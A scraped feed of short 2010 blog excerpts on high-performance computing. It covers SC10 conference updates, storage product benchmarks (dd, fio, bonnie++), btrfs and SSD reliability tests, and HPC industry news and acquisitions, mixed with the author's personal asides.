19 Nov 2010 18:59:35 +0000 https://blog.scalability.org/2010/11/on-the-state-of-microsofts-hpc-effort/ Reports were in that a Windows based system was able to crack the 1PF barrier, but that the same system running Linux, was faster. Cudos to Microsoft for this … but I have to ask … really … if this statement from Bill Hilf is true: then why is Microsoft competing in the stratospheric regime of performance if its not trying to be there? I see a fundamental disconnect between actions and words. https://blog.scalability.org/2010/11/semi-ot-when-the-engine-of-the-economy-sputters/ Fri, 19 Nov 2010 14:44:57 +0000 https://blog.scalability.org/2010/11/semi-ot-when-the-engine-of-the-economy-sputters/ Sort of like Ayn Rand’s excellent Atlas Shrugged, when eventually enough barriers to building companies and forming wealth occur, they will stop trying. See the WSJ article about this. This impacts HPC, as smaller folks with good products, and awesome future products now see enough uncertainty that many are hedging their bets. Which means not taking as many risks. Or hiring as many people. Funny how that economy thing works. Jobs are created when entrepreneurs take risks that result in capital formation. https://blog.scalability.org/2010/11/sc10-wrap-up-pod-cast/ Thu, 18 Nov 2010 04:30:17 +0000 https://blog.scalability.org/2010/11/sc10-wrap-up-pod-cast/ I’ve been behind on podcast viewing. Way behind. So today I was Rich Brueckner’s sidekick (queue sidekick music) on the InsideSC10 Recap. Link above takes you to the site, please do click it, as InsideHPC is in part supported by advertising revenue (scalability.org is a self funded effort). Video is also on Youtube, and you can see it here: Yes, I did almost say “develop that technology” when talking about people. https://blog.scalability.org/2010/11/sc10-the-wind-down/ Thu, 18 Nov 2010 02:36:05 +0000 https://blog.scalability.org/2010/11/sc10-the-wind-down/ The conference is winding down. Tuesday was good, Wednesday was wild. Non-stop. I didn’t have a free moment. This was a good show. We got the siCluster-NAS formally launched (for less than $1000/usable TB with scalable bandwidth, we think it is pretty good). We got some nice financial services demos up running on the siCluster-NAS. We didn’t spend too much money to setup and run the demos. Tomorrow, Green-HPC gets announced (and I think Top500). https://blog.scalability.org/2010/11/sicluster-and-jackrabbit-benchmark-report-slightly-delayed/ Tue, 16 Nov 2010 13:30:33 +0000 https://blog.scalability.org/2010/11/sicluster-and-jackrabbit-benchmark-report-slightly-delayed/ My bad, we’ve been very busy. I had expected to have them done by show time, and of course, I haven’t had time. We have all the data, I have to sit down with it, finish crunching it, and put it into our document. It will be done soon. Then we’ll post it on our web site and you can pull it down. siCluster benchmark report will have (older) results from a GlusterFS set of tests. https://blog.scalability.org/2010/11/sc10-day-t1-first-full-day-of-conference/ Tue, 16 Nov 2010 13:22:51 +0000 https://blog.scalability.org/2010/11/sc10-day-t1-first-full-day-of-conference/ Starting this post in the morning. I’d like to see us get some traffic going to the booth #4517 right next to the Ethernet Alliance booth. So how can we generate traffic … sorry no extraordinarily attractive obviously non-geek humans there … well, there’s product interest (we are announcing siCluster-NAS this morning), there’s swag (courtesy of Intel), and some Scalable Informatics pens. How about a quid pro quo. Come by and engage with us, and we’ll reciprocate. https://blog.scalability.org/2010/11/sc10-day-0-the-beowulf-bash-and-bacon-wrapped-servers/ Tue, 16 Nov 2010 13:11:40 +0000 https://blog.scalability.org/2010/11/sc10-day-0-the-beowulf-bash-and-bacon-wrapped-servers/ Doug says, “hey Joe, lets drive, so we don’t get soaked, and have better control over our leaving time.” Which makes sense. So into the GPS went the name, out came a set of directions, which we followed. The thing about GPSes … well … the data can tell you about where things are, from a driving perspective. But having signs up helps. Otherwise, you wind up walking in what amounted to a semicircle for 15 minutes in a blowing rain, and getting the uncovered sections of your clothes innundated with water. https://blog.scalability.org/2010/11/sc10-day-t-0-the-gala-begins/ Tue, 16 Nov 2010 01:09:43 +0000 https://blog.scalability.org/2010/11/sc10-day-t-0-the-gala-begins/ We are in booth 4517-ish, right by the Ethernet Alliance in the Intel Channel Partner booth. Come by and say hello! We have a nice quick Kdb+ demo, and will be talking about our siCluster-NAS scale out NAS product. https://blog.scalability.org/2010/11/sc10-day-t-1-the-arrival/ Sun, 14 Nov 2010 23:53:14 +0000 https://blog.scalability.org/2010/11/sc10-day-t-1-the-arrival/ We got in this morning. Security was … er … security. I feel like the TSA should buy me a nice dinner. And maybe call sometime (feeble attempt at humor on my part). One gets the feeling that they are actively discouraging air travel. Got in to the McKendrick-Breaux house, a nice B&B; very close to the convention center, and costing a similar amount to hotels there. Nice location, very close. https://blog.scalability.org/2010/11/sc10-day-t-2-the-preparations/ Sat, 13 Nov 2010 16:44:33 +0000 https://blog.scalability.org/2010/11/sc10-day-t-2-the-preparations/ We are going to be there, in the Intel Channel Partner Pavilion (will find booth number and post it) on Monday and Tuesday. We have lots of work to do … and its Saturday. First, we have to finish up the siCluster-NAS bits. Expect PR on Monday (will send it to InsideHPC and try to get it into the SC10 PR stream). Need to finish web page and handouts for it. https://blog.scalability.org/2010/11/on-value/ Fri, 12 Nov 2010 03:24:40 +0000 https://blog.scalability.org/2010/11/on-value/ What precisely is it people buy … is it a box full of parts they assemble themselves, or a service, or a turnkey solution? What they buy comes fundamentally from where they believe value to be. The buyer of boxes full of parts have value pegged to inverse of price. The lower the price the higher the value. The buyer of a service or a solution is looking for a specific set of expectations to be met. https://blog.scalability.org/2010/11/amusing-pr/ Fri, 12 Nov 2010 03:10:59 +0000 https://blog.scalability.org/2010/11/amusing-pr/ Every now and then we see people declare themselves to be the king of the hill in performance or in some other metric of relevance. Then come the theoretical max numbers or their measurements. As a reminder, our single JR4 units are sustaining 2.3+ GB/s to and from disk for TB sized files, and have QDR IB type connections (as well as 10GbE and GbE) available. Lots of bandwidth per box. https://blog.scalability.org/2010/11/what-a-set-of-weeks-wow/ Fri, 12 Nov 2010 03:01:51 +0000 https://blog.scalability.org/2010/11/what-a-set-of-weeks-wow/ We delivered our first siCluster-NAS unit to a government customer. Built it and delivered it. In 8 days. From parts. Just got back this afternoon. SC10 coming up, and we will be there. Intel Partner Pavilion, Monday and Tuesday. Up to meet with people on Wednesday/Thursday, so ping me if you’d like to get together. https://blog.scalability.org/2010/11/one-of-them-days/ Thu, 04 Nov 2010 20:30:30 +0000 https://blog.scalability.org/2010/11/one-of-them-days/ Ever have a day like this: Me: You need the wheels on the car to be able to drive it off the lot Them: Nonesense. They cost extra. We don’t need them. (hours/days/weeks/months later) Them: How come you didn’t tell us we need wheels? All I can think to do is to blink rapidly without saying anything. https://blog.scalability.org/2010/11/user-load-well-above-10/ Thu, 04 Nov 2010 14:52:19 +0000 https://blog.scalability.org/2010/11/user-load-well-above-10/ this is why I haven’t been doing any posting … preparing for SC10, building a new siCluster-NAS (scale out NAS unit) for a government customer, dealing with shipping units to Chile, new orders for other units …, meeting with partners and prospective partners, generating quotes like mad … Yeah … busy … :) https://blog.scalability.org/2010/11/twitter-updates-for-2010-11-03/ Wed, 03 Nov 2010 11:05:00 +0000 https://blog.scalability.org/2010/11/twitter-updates-for-2010-11-03/ * Is #[twitter](http://search.twitter.com/search?q=%23twitter) broke? I keep getting "internal server errors" [#](http://twitter.com/sijoe/statuses/29523254356) * Congrats @[RickForMI](http://twitter.com/RickForMI) ... early call, but it looks like you are the new governor of the state of Michigan [#](http://twitter.com/sijoe/statuses/29523344742) Powered by Twitter Tools https://blog.scalability.org/2010/11/ot-its-rare-that-i-see-an-economic-analysis-so-spot-on/ Mon, 01 Nov 2010 16:13:35 +0000 https://blog.scalability.org/2010/11/ot-its-rare-that-i-see-an-economic-analysis-so-spot-on/ трапезни масиSaw this, this morning. There was news over the past few weeks of tax avoidance strategies by Google and others. Criticism appears to have been muted at the political level, where they are avid funders of elected official’s re-election bids. Go figure. But this article points out some of the real details behind the headlines, and talks about job creation in general. Something that #RickForMI is likely painfully aware of (assuming he wins governor race tomorrow). https://blog.scalability.org/2010/10/btrfs-is-effectively-stable/ Fri, 29 Oct 2010 16:39:57 +0000 https://blog.scalability.org/2010/10/btrfs-is-effectively-stable/ Yeah, I know, the web page says its under heavy development. And its on disk format can change. And its mailing list is chock full of patches. But it passed our stability test. 100 iterations (3.2TB written/read in all and compared to checksums) of the following fio test case. [global] size=8g iodepth=32 blocksize=1m numjobs=4 nrfiles=1 ioengine=vsync rw=write [sw1] create_serialize=0 create_on_open=1 #directory=/data directory=/mnt/btrfs verify=crc32c-intel verify_async=8 group_reporting This is our baseline test. https://blog.scalability.org/2010/10/current-fastest-supercomputer-is-apu-powered/ Thu, 28 Oct 2010 14:33:24 +0000 https://blog.scalability.org/2010/10/current-fastest-supercomputer-is-apu-powered/ Go figure. Between 6 and 3 years ago, when we were pitching HPC accelerators to VCs, trying to convince them that it was inevitable that supercomputing was going this route, we (optimistically) predicted that the worlds fastest machine would be Accelerator Processing Unit (APU) based in 2012. Well, we were wrong. November 2010 is the correct answer. My expectation is that many HPC systems (probably most) will have some sort of APU technology (GPUs, vector extensions, Larabee like things, Tilera like things). https://blog.scalability.org/2010/10/running-some-btrfs-vs-xfs-tests-on-2-6-36/ Tue, 26 Oct 2010 20:29:40 +0000 https://blog.scalability.org/2010/10/running-some-btrfs-vs-xfs-tests-on-2-6-36/ Interesting results thus far, but not quite what I expected. Doing our acid test (reading and writing 8 threads of 8GB each for 64GB per read/write test, 100 times, with crc checking turned on). If btrfs doesn’t crash the kernel, and doesn’t start tossing CRC errors, yeah, its safe to use then (though we will throw the real octobonnie and hexadecabonnie loads at it). https://blog.scalability.org/2010/10/again-seriously-busy/ Mon, 25 Oct 2010 00:06:52 +0000 https://blog.scalability.org/2010/10/again-seriously-busy/ SC10 prep, machine builds/tests, quotes, yadda yadda … Will have a number of posts up soon, in the next few days. https://blog.scalability.org/2010/10/half-open-drivers-ofed-stacks-with-verbs-abis-that-dont-match-the-kernels-verb-abi/ Thu, 14 Oct 2010 03:27:59 +0000 https://blog.scalability.org/2010/10/half-open-drivers-ofed-stacks-with-verbs-abis-that-dont-match-the-kernels-verb-abi/ I just ran through another update exercise. IB cards, OFED stack. GlusterFS atop this. Cards are well known vendors cards. They work pretty well. But … only with very specific kernels. Other kernels need not apply. Our 2.6.32.22 kernel is pretty darned fast (so our customers tell us). Now lets build the OFED 1.5.2 … and see what happens … To make a long story short, we wound up abandoning that approach. https://blog.scalability.org/2010/10/2-no-3-new-resellers-in-the-past-week/ Thu, 14 Oct 2010 03:14:35 +0000 https://blog.scalability.org/2010/10/2-no-3-new-resellers-in-the-past-week/ Been a very busy beaver, even with a broken finger. We now have 3 new resellers. We’ll have this info up on a page soon at the day job. One very well known group in edu/research, another helped us get our first NOAA sale, and another is headed up by a former colleague from SGI/Cray days. Very exciting times! https://blog.scalability.org/2010/10/how-cool-is-this/ Thu, 07 Oct 2010 20:46:42 +0000 https://blog.scalability.org/2010/10/how-cool-is-this/ Customers machine went down. They have a spare (buy them in pairs). Needed us to look at it. Set their unit up to boot from a virtual CD over the IPMI port. ?Pointed that virtual CD at a bootserver we had built in a VM. Poked some holes in the firewall. And voila. The machine about 1400 miles away is up and booted, using the bootserver, and we are looking into the failure (looks to be temperature related … go figure) Yeah, it was a little slow, but thats fine for the moment. https://blog.scalability.org/2010/10/interesting-customer-feedback/ Thu, 07 Oct 2010 00:19:04 +0000 https://blog.scalability.org/2010/10/interesting-customer-feedback/ One little single chassis JR4 apparently is a bit faster, at being a NAS, than a 6 shelf product from [some other scale out NAS vendor, a rather well known one]. This vendor is currently the rage in NGS circles. We know we are fast. We knew the other folks weren’t so fast. I am … I guess … not surprised … to hear this. There are benchmarks. And then there is the real world. https://blog.scalability.org/2010/10/raw-uncompromising-unapologetic-firepower/ Thu, 07 Oct 2010 00:06:16 +0000 https://blog.scalability.org/2010/10/raw-uncompromising-unapologetic-firepower/ Latest Scalable Informatics high performance JR4 test runs … untuned. I should say, imagine a rack full of 10 of these, with a functional IB QDR fabric behind them. Makes for a nice 23 GB/s (best case) per rack cluster file system platform. [root@localhost ~]# dd if=/dev/zero of=/data/big.file ... 2450+0 records in 2450+0 records out 82208358400 bytes (82 GB) copied, 36.4844 seconds, 2.3 GB/s [root@localhost ~]# dd of=/dev/null if=/data/big.file ... 2450+0 records in 2450+0 records out 82208358400 bytes (82 GB) copied, 37. https://blog.scalability.org/2010/10/our-friends-at-pervasive-software-showing-smith-waterman-results/ Fri, 01 Oct 2010 14:06:34 +0000 https://blog.scalability.org/2010/10/our-friends-at-pervasive-software-showing-smith-waterman-results/ While I am pleased to see them in the news, and they are showing how their technology works well on a multi core system … I guess I am troubled by something. Maybe it was the run on the SGI Altix unit. You don’t expect many of those to be around. Maybe it was the 30x performance gap over the CUDASW++. Which suggests that 30 nodes with 2 Teslas each could match the results obtained, at a fraction of the cost, power, floor space, cooling budget. https://blog.scalability.org/2010/10/ibm-grabs-blade-networks/ Fri, 01 Oct 2010 13:47:35 +0000 https://blog.scalability.org/2010/10/ibm-grabs-blade-networks/ Again,M&A; on a roll. Larger vendors going for the “integrated” stack. I won’t comment on whether or not a single vendor is a good idea for anything … there are several recent examples of single vendor with a change of business direction resulting in a rather large and extended “oh-feces” situations for their now former HPC client??le. There are economies of scale, there are synergies. One company cannot hope to do everything well for all customers. https://blog.scalability.org/2010/09/the-business-side-of-things/ Thu, 30 Sep 2010 00:49:43 +0000 https://blog.scalability.org/2010/09/the-business-side-of-things/ Doing more siCluster quotes per day than I thought I would be at this stage. Each unit in the JackRabbit JR4 based siCluster sustains well over 2GB/s to and from disk for TB sized files. Some of the benchmarks we’ve seen suggest strongly that ‘competitive’ solutions require many more of their systems to achieve bandwidth and application performance parity, which turns the already unfavorable price performance comparison into a rout. We are hearing from customers deploying JackRabbit units in ways we didn’t originally intend, now indicating that they scale quite a bit better than their modern (insert enterprise NAS vendors here) NAS system. https://blog.scalability.org/2010/09/more-ma-in-hpc/ Wed, 29 Sep 2010 09:34:26 +0000 https://blog.scalability.org/2010/09/more-ma-in-hpc/ Hearing more M&A; rumors, can’t say who. This is the time to buy, get the deal done now before the prices rise. https://blog.scalability.org/2010/09/ot-learning-how-to-work-with-only-one-hand/ Wed, 29 Sep 2010 09:32:09 +0000 https://blog.scalability.org/2010/09/ot-learning-how-to-work-with-only-one-hand/ I have a cast on from my hand surgery last week. I have a new metal plate attached to my bone. Learning to be a southpaw isnt easy. I get the cast off this morning. Should be fun. Then the PT starts. This is one of the very few forms of socially and legally acceptable torture on the planet. https://blog.scalability.org/2010/09/ibm-grabs-netezza/ Fri, 24 Sep 2010 03:05:57 +0000 https://blog.scalability.org/2010/09/ibm-grabs-netezza/ IBM is acquiring Netezza for $1.7B USD. This can be an interesting play in massive OLAP and BI. both of which resist calling themselves HPC, but most definitely are. M&A; is continuing to heat up folks. The big guys are buying the little guys. [update] … and of course there is weirdness … according to a lawsuit, Netezza allegedly reverse engineered someone else’s product … incorrectly at that … and sold it to its customers. https://blog.scalability.org/2010/09/great-concept-from-the-uk/ Thu, 23 Sep 2010 04:46:17 +0000 https://blog.scalability.org/2010/09/great-concept-from-the-uk/ We should replicate it here. From the article. I’ve mentioned it many times, but the primary driver of significant sea changes are cost issues. Cloud and open source are both mechanisms for reducing desktop application costs. Similar pressures are in place in HPC. Cloud HPC is currently mostly an overflow computing model, with some folks using it for primary computing. I expect more to start using these for primary computing, along with their super desktops. https://blog.scalability.org/2010/09/ot-what-my-hand-looks-like-x-ray/ Tue, 21 Sep 2010 18:58:48 +0000 https://blog.scalability.org/2010/09/ot-what-my-hand-looks-like-x-ray/ Not gross, but if you are a little squeamish, don’t click the picture for the big one. Here’s the small image. [ ](http://scalability.org/images/joes_hand_broken_marked.jpg) The green arrows, hand drawn by me, should show the two problems. First is on the left of the image, a chunk of the knuckle has been broken off. Yeah, that hurts. But the other arrow, on the right hand side, explains why it hurts when it is straight. https://blog.scalability.org/2010/09/every-time-i-upgrade-an-os-every-single-time/ Mon, 20 Sep 2010 14:08:56 +0000 https://blog.scalability.org/2010/09/every-time-i-upgrade-an-os-every-single-time/ Java and its connection to browsers break. Now normally, I wouldn’t care, as I don’t personally have a very high opinion of the be-all-and-end-all language/system known as java. Its overly verbose, under performing, and doesn’t play well with any operating system. Copy/paste buffers … well, there is a whole huge litany of issues with it, and I am not even remotely the only one who has them. Updated desktop OS. Now at Ubuntu 10. https://blog.scalability.org/2010/09/costrisk-benefit-analysis/ Sat, 18 Sep 2010 16:23:03 +0000 https://blog.scalability.org/2010/09/costrisk-benefit-analysis/ There are costs to taking specific actions, there are risks, and there may be benefits. Here is an example of a risk (or cost) Q: what do you get when you spar (e.g. fight in a controlled manner so as to work on technique) with a 3rd dan (3rd degree blackbelt), and then mess up on a kick block? A: a broken middle finger on the right hand So typing is now hunt and peck. https://blog.scalability.org/2010/09/the-missing-middle-a-marketing-term-but-a-real-problem/ Thu, 16 Sep 2010 17:04:10 +0000 https://blog.scalability.org/2010/09/the-missing-middle-a-marketing-term-but-a-real-problem/ If you listen to IDC talk about HPC, they will talk about “the missing middle”, which is basically a marketing term for a market segment that isn’t being well addressed by HPC vendors with clusters. It is being addressed by some (hint: the day job) in a variety of ways. An article at InsideHPC by Rich Brueckner gave it a good contextual background, in terms of historical trends in HPC tending to favor the lower cost deployments of processing power. https://blog.scalability.org/2010/09/on-benchmarking-in-general/ Thu, 16 Sep 2010 05:05:34 +0000 https://blog.scalability.org/2010/09/on-benchmarking-in-general/ I wonder if the reason there are so many bad benchmarks and incorrect conclusions drawn from bad benchmarks comes, to some significant level, from a basic misunderstanding of measurement, how to perform them, and what you are measuring. Several years ago, we watched folks who should know better, insist that 2GB bonnie++ data (the 2GB file size) was the only relevant one for their storage systems and it told them everything they needed to know about storage. https://blog.scalability.org/2010/09/interesting-post-on-benchmarking/ Tue, 14 Sep 2010 23:25:45 +0000 https://blog.scalability.org/2010/09/interesting-post-on-benchmarking/ Here. In it, the author makes a number of points. Some I take no issue with, or don’t have direct knowledge of. Others … Erp … You only get the “faster” speeds with easily compressible data. You get the far slower speeds when the data isn’t so easy to compress. We know. We measured this, and observed it. If you write all zeros, just like in the days when compilers special cased particular codes (cough cough), its possible disks don’t even do the writes. https://blog.scalability.org/2010/09/the-ssds-that-failed/ Tue, 14 Sep 2010 19:46:19 +0000 https://blog.scalability.org/2010/09/the-ssds-that-failed/ The OEM went silent. We reported the issues, opened RMAs. To say I am not pleased … well … These are Corsair CMFSSD-32D1 units. According to their site Ummm … no. Not even close. We are experiencing about a 70% failure rate, within 3 months of acquisition. In many different chassis, in many different parts of the world, with many different power supplies, many different motherboards. This is a time correlated failure. https://blog.scalability.org/2010/09/no-rest-for-the-wicked/ Mon, 13 Sep 2010 21:02:44 +0000 https://blog.scalability.org/2010/09/no-rest-for-the-wicked/ busy busy busy busy …. https://blog.scalability.org/2010/09/ssd-failure-issue-explained/ Sun, 12 Sep 2010 03:53:03 +0000 https://blog.scalability.org/2010/09/ssd-failure-issue-explained/ I think I understand most of it. The OEM went dark on communicating with us. This is unfortunate. I really wish they hadn’t. Suffice it to say we are replacing all of the units of theirs we have in field. We have documentation up on our documentation site on how to do the swap out. It appears to be a bad batch. I am guessing (until we learn otherwise) that they got some bad silicon at some point. https://blog.scalability.org/2010/09/911-memorium/ Sat, 11 Sep 2010 14:09:53 +0000 https://blog.scalability.org/2010/09/911-memorium/ Not an HPC topic, but one that all Americans can reflect upon … their thoughts, their experiences … and to resolve not to let this happen ever again, in any form. Never again. I had left SGI, and was working for a smaller engineering software company. I had lined up a bunch of interviews for an open position we had. My buddy Al was flying out from NY with his team to visit someone I know in Ann Arbor, and I was going to try to grab them for lunch or dinner. https://blog.scalability.org/2010/09/oracle-and-netapp-bury-the-zfs-patent-hatchet/ Fri, 10 Sep 2010 13:14:56 +0000 https://blog.scalability.org/2010/09/oracle-and-netapp-bury-the-zfs-patent-hatchet/ Color me skeptical. I don’t think there has been an actual resolution of the core issues, just an agreement to abstain from legal hostilities. See this article for some information. ZFS will continue as a patent encumbered software stack, and since no resolution exists between Oracle and Netapp, Netapp could, potentially, press its claims against any other customer/user of ZFS. This isn’t a good thing for anyone using or contemplating using ZFS, from any source other than Oracle. https://blog.scalability.org/2010/09/and-the-day-job-desktop-disk-blowed-up/ Thu, 09 Sep 2010 02:01:51 +0000 https://blog.scalability.org/2010/09/and-the-day-job-desktop-disk-blowed-up/ Well, the OS drive did anyway. The home directory data is happily living on the RAID unit. Curiously, we just got our BackupPC based backup unit set up, and it was backing this unit up … Oh well. No great loss, apart from setup time for the new OS drive(s). Will do a software RAID 1 this time. And likely make it an SSD pair. https://blog.scalability.org/2010/09/ceph-updates/ Mon, 06 Sep 2010 15:34:53 +0000 https://blog.scalability.org/2010/09/ceph-updates/ rbd is in testing. Have a look at the link, but here are some of the highlights * network block device backed by objects in the Ceph distributed object store (rados) * thinly provisioned * image resizing * image export/import/copy/rename * read-only snapshots * revert to snapshot * Linux and qemu/kvm clients We are doing something like this now, to a degree, with a mashup of tools in our target. https://blog.scalability.org/2010/09/day-job-has-a-cash-for-clunkers-program-up/ Mon, 06 Sep 2010 13:18:19 +0000 https://blog.scalability.org/2010/09/day-job-has-a-cash-for-clunkers-program-up/ For those who don’t get the reference, “Cash for Clunkers” is a colloquialism meaning a hardware trade-in program for old gear. PR is here, and direct link to the site itself here. Basically, we’ll take old [HPC] storage gear and provide a discount to you for taking this old gear. There are limitations on which old gear, as well it must be operational and in working order, etc. . Also you are responsible for shipping costs. https://blog.scalability.org/2010/09/weve-come-a-long-way-in-13-years/ Sat, 04 Sep 2010 15:08:09 +0000 https://blog.scalability.org/2010/09/weve-come-a-long-way-in-13-years/ Have a look at today’s Google home page, and you see the 25th anniversary of buckyballs, aka fullerene, which are particular structures made out of carbon. These fullerenes are very much related to graphite (pencil “lead”), and have some very interesting physics and chemistry of their own. They were discovered when I was in my Sophmore/Junior years as an undergraduate. Not feeling old. Nosiree. This isn’t what the post is about, and yes, there is a huge connection to HPC. https://blog.scalability.org/2010/09/passing-of-torches-in-the-industry/ Fri, 03 Sep 2010 03:24:33 +0000 https://blog.scalability.org/2010/09/passing-of-torches-in-the-industry/ One constant in the world is change. You can fear it, or learn to embrace it. This is part of all markets, HPC and many others. This morning we woke to news that Rich Brueckner bought InsideHPC. Rich is a good reporter and writer, has a marketing firm, and has been working in HPC for a while. We spent time as colleagues at SGI/Cray (yeah, its been a while). Rich now owns one of the brightest brands in HPC news and information. https://blog.scalability.org/2010/09/workaround-for-the-ssd-raid1-dual-drive-failure-mode/ Wed, 01 Sep 2010 21:11:50 +0000 https://blog.scalability.org/2010/09/workaround-for-the-ssd-raid1-dual-drive-failure-mode/ At least it can keep things operating while we get parts out. Shipped a number today, placed another order for the new vendors drives. I can confirm that heat is an issue with SSDs. As root, on the unit, decide where you are going to place an image, then dd if=/dev/zero of=/path/to/loopback/raid.img bs=1 count=1 \ seek=32G losetup /dev/loop0 /path/to/loopback/raid.img mdadm --grow /dev/md0 -n3 mdadm /dev/md0 --add /dev/loop0 This will copy the OS to the a file, and we can (later if need be) recover from problems. https://blog.scalability.org/2010/08/never-seen-anything-like-this-before-ever/ Tue, 31 Aug 2010 21:09:19 +0000 https://blog.scalability.org/2010/08/never-seen-anything-like-this-before-ever/ [update] I am starting to think some of these things are heat issues. Not generated heat, but ambient heat. I took a pair of SSDs from our lab (running quite warm, 5 ton AC unit ready to be hooked up) which were giving minor read errors (different vendor), and they operated flawlessly in my basement lab (quite cold) hmmmm….. I see some SSDs being sacrificed in the near future. I am starting to wonder if any of them has been actually tested in the higher heat environments. https://blog.scalability.org/2010/08/tiburon-now-with-booting-over-iscsi/ Sat, 28 Aug 2010 20:00:21 +0000 https://blog.scalability.org/2010/08/tiburon-now-with-booting-over-iscsi/ Woot … have it working nicely in the lab. A few more tweaks to the environment, and we should be able to test in the field. We’ve been comparing NFS booting, iSCSI booting, and ramdisk based booting for siCluster systems. We’ve been wanting to do more than PXE loads, and provide multiple levels of resiliency that we can using a technology like this. As it turns out, this dovetails beautifully into how we load our JackRabbit and DeltaV units in siCluster. https://blog.scalability.org/2010/08/preparing-for-a-new-jackrabbit-benchmark-report/ Fri, 27 Aug 2010 12:57:52 +0000 https://blog.scalability.org/2010/08/preparing-for-a-new-jackrabbit-benchmark-report/ We’ve been gathering data on the new machine. So far, it has exceeded our expectations a bit. Its one of, if not the fastest … and not by a little bit mind you, spinning rust 24 drive SATA 2 server we’ve seen in the market. Obviously we are happy with this. Gathering more data. Will report soon. https://blog.scalability.org/2010/08/start-popping-the-pop-corn-this-is-getting-interesting-to-watch/ Fri, 27 Aug 2010 12:52:59 +0000 https://blog.scalability.org/2010/08/start-popping-the-pop-corn-this-is-getting-interesting-to-watch/ Outright bidding war between Dell and HP for 3Par. HP topped Dells bid, so Dell responded. Press releases were released. They continued to walk do the aisle. And then HP upped its bid. Currently at $1.8B and climbing. Thinking about HPs strategy, I wonder if they really want 3PAR or if they really want to deny Dell the company. And how much the latter is worth to HP. They have some competitive technology in their portfolio. https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-27/ Fri, 27 Aug 2010 11:05:00 +0000 https://blog.scalability.org/2010/08/twitter-updates-for-2010-08-27/ * New revision of #[scalableinformatics](http://search.twitter.com/search?q=%23scalableinformatics) #jackrabbit JR4 machine is positively roaring. > 2GB/s sustained read/write on 1TB writes/reads [#](http://twitter.com/sijoe/statuses/22183531579) Powered by Twitter Tools https://blog.scalability.org/2010/08/lustre-1-8-4-and-2-0-have-been-released/ Thu, 26 Aug 2010 20:59:32 +0000 https://blog.scalability.org/2010/08/lustre-1-8-4-and-2-0-have-been-released/ Normally would suggest going to the Lustre site for details, though it hasn’t rolled over yet. So look here for 1.8.4 download, and here for 2.0 download. The 2.0 GA release has a changelog which is sparse, but to be expected. The 1.8.4 GA release changelog is here. https://blog.scalability.org/2010/08/more-updated-jackrabbit-benchmark-pr0n-bonnie/ Thu, 26 Aug 2010 17:45:12 +0000 https://blog.scalability.org/2010/08/more-updated-jackrabbit-benchmark-pr0n-bonnie/ Again, this is our 5th generation JackRabbit unit, sold as individual servers or in siCluster storage clusters. Baseline bonnie++ results. Remember, I am not a fan of using this as a test engine, as I’ve noted in the blog a few times. Very basic, very simple test. Machine has 144GB ram, so we need to write 288GB for the test. It is configured for streaming IO, not random IO. RAID6’s, not RAID0. https://blog.scalability.org/2010/08/untuned-basic-time-trials/ Thu, 26 Aug 2010 15:03:28 +0000 https://blog.scalability.org/2010/08/untuned-basic-time-trials/ So we have a new generation (5th) JackRabbit in the lab, for a financial services customer. Have lots of similar machines out to bit for next generation sequencing (NGS), and many other things. This is the initial bring up test run. I think you might like these numbers. First off, configuration: RAID6 volumes. These are NOT RAID0. I want to emphasize this. Primary storage are SATA 2 drives at 7200 RPM. https://blog.scalability.org/2010/08/going-to-the-test-track-tomorrow/ Wed, 25 Aug 2010 18:59:02 +0000 https://blog.scalability.org/2010/08/going-to-the-test-track-tomorrow/ … building what is arguably the fastest JR4 unit to date, for a customer in financial services. Those folks really seem to like us. I’ll update as soon as I can. Should be interesting (barring any issues). Will do some baseline speed trials, and if things look good, we’ll hit the accelerator hard and see what it can do. https://blog.scalability.org/2010/08/echoing-what-ive-said-here-many-times/ Wed, 25 Aug 2010 14:16:48 +0000 https://blog.scalability.org/2010/08/echoing-what-ive-said-here-many-times/ Good article by Declan McCullagh at CNET. By all means, read it all, but here are some choice quotes: If you adopt a business overtly hostile tax and regulatory regime, such as here in Michigan, you are going to drive businesses away, and cause those that are here to rethink investment. In growth, in people, … I am still trying to wrap my brain around Obamacare, and what it means to us as a small company. https://blog.scalability.org/2010/08/for-the-cloud-business-model-to-work-this-cant-happen/ Tue, 24 Aug 2010 14:21:31 +0000 https://blog.scalability.org/2010/08/for-the-cloud-business-model-to-work-this-cant-happen/ [ Microsoft hit by cloudy downtime in US Two-hour outage for some hosted services ](http://www.theregister.co.uk/2010/08/24/microsoft_bpos_us_outage/) One very important leg that cloud stands upon is “I can get to my data and applications no matter what” subject to the availability of networking and clients capable of reaching that data. Sort of like “I can drive to Traverse City, no matter what”, subject to the availability of fuel and passable roads between where ever you are and Traverse City. https://blog.scalability.org/2010/08/curiouser-and-curiouser-hp-tries-to-outbid-dell-for-3par/ Tue, 24 Aug 2010 14:10:38 +0000 https://blog.scalability.org/2010/08/curiouser-and-curiouser-hp-tries-to-outbid-dell-for-3par/ Saw this one this morning. From the article … Bidding war? I’ve said the M&A; is gonna get more interesting going forward. https://blog.scalability.org/2010/08/i-know-lets-fix-an-obvious-software-issue-by-redefining-reality/ Tue, 24 Aug 2010 12:39:32 +0000 https://blog.scalability.org/2010/08/i-know-lets-fix-an-obvious-software-issue-by-redefining-reality/ A little preface. In the late 1800’s, Indiana had some legislation to consider. It boiled down to the “squaring of a circle” which effectively put a value on pi (??) that was not correct. Go read the history, its actually a little sad. The point of this is that reason eventually won out, and So what is it that has put a proverbial bee in my proverbial bonnet? A software group wants to effectively change the definition of UTC (a time standard) so as not to cause software to break, rather than, I dunno, fixing the software? https://blog.scalability.org/2010/08/updates-on-soge-aka-gridengine/ Mon, 23 Aug 2010 15:47:19 +0000 https://blog.scalability.org/2010/08/updates-on-soge-aka-gridengine/ Alrighty … looks like there is additional information. Sun changed the license in 2009 for a 120 user test period, all Oracle did was change this to 60 day, and firmed up some of the rest of the language. There is a debate running on the mailing list, which, while some are (erroneously) claiming that its FUD, we see now, in all its glory, the issue of incompatible licenses. SGE/OGE is covered under something called SISSL. https://blog.scalability.org/2010/08/ot-tournament-weekend-in-traverse-city-michigan-weapons-sparring-and-kata-with-video/ Mon, 23 Aug 2010 05:27:45 +0000 https://blog.scalability.org/2010/08/ot-tournament-weekend-in-traverse-city-michigan-weapons-sparring-and-kata-with-video/ I took friday off of work (sort of), and we drove up to Traverse City for the White Tigers tournament. Kudos to them for putting on a nice event. My daughter participated in 2 events, weapons and hand kata, and I did 3 as I also did kumite (sparring). Between the two of us, we brought home 4 trophies … 1 first (kata), 2 second (sparring and weapons), and 1 third (weapons). https://blog.scalability.org/2010/08/and-sge-goes-90-day-trial-license/ Thu, 19 Aug 2010 15:06:35 +0000 